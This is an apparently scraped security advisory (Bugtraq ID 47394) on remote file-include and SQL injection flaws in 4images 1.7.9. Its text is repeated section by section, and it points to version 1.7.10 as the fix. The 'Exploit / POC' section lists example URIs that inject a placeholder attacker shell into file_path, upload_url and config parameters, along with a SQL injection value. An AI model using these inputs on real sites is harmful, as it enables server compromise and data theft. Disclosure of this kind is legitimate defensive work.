4images Multiple Remote File Include and SQL Injection Vulnerabilities
BID:47394
Info
4images Multiple Remote File Include and SQL Injection Vulnerabilities
| Bugtraq ID: | 47394 |
| Class: | Input Validation Error |
| CVE: | |
| Remote: | Yes |
| Local: | No |
| Published: | Apr 16 2011 12:00AM |
| Updated: | Apr 19 2011 03:14PM |
| Credit: | KedAns-Dz |
| Vulnerable: |
4homepages 4images 1.7.9 |
| Not Vulnerable: |
4homepages 4images 1.7.10 |
Discussion
4images Multiple Remote File Include and SQL Injection Vulnerabilities
4images is prone to multiple remote file-include vulnerabilities and an SQL-injection vulnerability because it fails to properly sanitize user-supplied input.
An attacker can exploit these vulnerabilities to execute arbitrary server-side script code on an affected computer in the context of the webserver process or compromise the application, access or modify data, exploit latent vulnerabilities in the underlying database, or bypass the authentication control.
4images 1.7.9 is vulnerable; other versions may also be affected.
4images is prone to multiple remote file-include vulnerabilities and an SQL-injection vulnerability because it fails to properly sanitize user-supplied input.
An attacker can exploit these vulnerabilities to execute arbitrary server-side script code on an affected computer in the context of the webserver process or compromise the application, access or modify data, exploit latent vulnerabilities in the underlying database, or bypass the authentication control.
4images 1.7.9 is vulnerable; other versions may also be affected.
Exploit / POC
4images Multiple Remote File Include and SQL Injection Vulnerabilities
Attackers can exploit these issues via a browser.
The following example URIs are available:
http://www.example.com/[path]/download.php?file_path=[Ev!l-Sh3ll]
http://www.example.com/[path]/categories.php?upload_url=[Ev!l-Sh3ll]
http://www.example.com/[path]/global.php?config=[Ev!l-Sh3ll
http://www.example.com/[path]/details.php?cat_id_sql=0+AND+2=1
Attackers can exploit these issues via a browser.
The following example URIs are available:
http://www.example.com/[path]/download.php?file_path=[Ev!l-Sh3ll]
http://www.example.com/[path]/categories.php?upload_url=[Ev!l-Sh3ll]
http://www.example.com/[path]/global.php?config=[Ev!l-Sh3ll
http://www.example.com/[path]/details.php?cat_id_sql=0+AND+2=1
Solution / Fix
4images Multiple Remote File Include and SQL Injection Vulnerabilities
Solution:
Updates are available; please see the references for more information.
Solution:
Updates are available; please see the references for more information.
References
4images Multiple Remote File Include and SQL Injection Vulnerabilities
References:
References:
- [1.7 - 1.7.9] Security fix for input validation error (4homepages)
- 4images Homepage (4homepages)